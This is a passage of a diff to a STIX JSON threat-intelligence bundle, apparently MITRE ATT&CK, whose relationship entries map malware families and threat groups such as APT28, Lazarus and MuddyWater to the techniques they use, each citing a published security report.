"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can utilize proxy for communications.", + "type": "relationship", + "created": "2019-01-30T15:47:41.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2485b970-f934-4fdb-80a4-0e11c179845d", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "modified": "2019-01-30T15:47:41.417Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s OS version and machine name.", + "type": "relationship", + "created": "2019-01-30T17:33:41.085Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c5c8dbe-ec34-46f9-b4af-0a6e73f00c89", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. 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Retrieved June 5, 2019.", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "modified": "2019-06-28T15:30:58.850Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has established persistence by adding itself as a new service.", + "type": "relationship", + "created": "2019-01-30T17:48:35.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--38b1ad70-4d24-4f5c-ad62-e03f38b6752f", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.709Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A variant of [Zebrocy](https://attack.mitre.org/software/S0251) captures screenshots of the victim\u2019s machine in JPEG and BMP format.", + "type": "relationship", + "created": "2019-01-30T18:39:48.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e2d4ce8-0006-4571-b8ea-dbfc4bf7302f", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-17T01:18:32.845Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) collects the MAC address, computer name, hardware UUID, serial number, and operating system version.", + "type": "relationship", + "created": "2019-01-30T19:18:20.167Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--588865e4-caec-4150-9c03-df5e28eb9c79", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "modified": "2019-01-30T19:18:20.167Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) compressed collected data using zlib.", + "type": "relationship", + "created": "2019-01-30T20:01:45.468Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a6d57a7-8977-4928-8ef7-71d6c8a9fbfa", + "external_references": [ + { + "source_name": "Securelist Denis April 2017", + "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.", + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + } + ], + "modified": "2019-04-24T20:56:04.760Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can gather the OS version, architecture information, connected drives, hostname, and computer name from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-31T00:36:41.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--172da5b1-cf68-468a-8208-b15ea5c813dc", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.504Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T13:11:38.980Z", + "type": "relationship", + "created": "2019-01-31T01:07:58.782Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c01c64c-8842-44be-bd66-8355eb5d543c", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) uses DNS for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c476a0da-44fd-4492-86ae-407aabab3735", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uses PowerShell to execute various commands, one to execute its payload.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8d5d9206-a213-465d-b384-6152eb2796a0", + "external_references": [ + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "modified": "2019-04-24T23:41:40.113Z", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can drop a mouse-logger that will take small screenshots around at each click and then send back to the server.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--09869965-8dcd-4c20-a997-c075b6ed0434", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:48.036Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Thrip](https://attack.mitre.org/groups/G0076) used PsExec to move laterally between computers on the victim\u2019s network.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--307f4aac-212f-4c81-9764-d0acf7ca0e55", + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "modified": "2019-03-25T17:06:37.201Z", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key HKCU\\Software\\Microsoft\\Office test\\Special\\Perf to execute code.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0560e25-020d-4cd6-b61c-5fc82a757edc", + "external_references": [ + { + "source_name": "Palo Alto Office Test Sofacy", + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + } + ], + "modified": "2019-07-27T00:09:36.866Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) has the capability to create a remote shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43a63e7a-d673-47c0-9af5-76dcd5a5d9b8", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-05-30T18:05:32.938Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7dc4c8b9-a380-4dc0-9973-a8a2f8d0175c", + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + }, + { + "source_name": "ThreatStream Evasion Analysis", + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) attempts to detect several anti-virus products.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--26289101-47e6-47a5-bc9f-19bf918721d6", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:57:37.437Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d691e305-8ce5-40cd-a648-b0dcab329e69", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) renames one of its .dll files to uxtheme.dll in an apparent attempt to masquerade as a legitimate file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c7c24601-7125-4079-9d48-138594b3f86c", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.406Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) uses an encrypted file to store commands and configuration values.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8183d862-5383-4a42-acbd-be58e120cb25", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.719Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) establishes persistence through a Registry Run key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c75cc595-79d7-4a77-9647-d2323aad93d0", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) collects the victim host name and serial number, and then sends the information to the C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--396edbf6-41b5-4377-90b6-4967c24de7fb", + "external_references": [ + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WinMM](https://attack.mitre.org/software/S0059) uses HTTP for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9df1a5b0-f1fb-4239-abb5-67ba6e9e05f6", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:45:45.280Z", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under HKCU\\Software\\Microsoft\\Office\\.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f00ebba-7e80-4495-8ba0-081e6a8cc0c8", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.800Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) is capable of using Windows hook interfaces for information gathering such as credential access.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ebc7501-9471-4f37-92e1-8711073bd062", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2019-05-10T12:14:32.234Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses the netstat command to find open ports on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27a36f9c-2292-4bf0-8c08-9ccfc1effffe", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.323Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:37:14.663Z", + "type": "relationship", + "id": "relationship--9952a93f-d009-48e5-a618-8e8f97a55685", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain information about network configuration, including the routing table, ARP cache, and DNS cache.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd5b4264-1f10-4cd5-b7b0-a6a8b9dad7c3", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) downloads and uploads files to and from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e4c5ab65-e084-4844-9bf8-546d78f20e96", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.785Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) may collect information about running processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--64cb753d-eb72-4dce-a417-7df747334347", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + 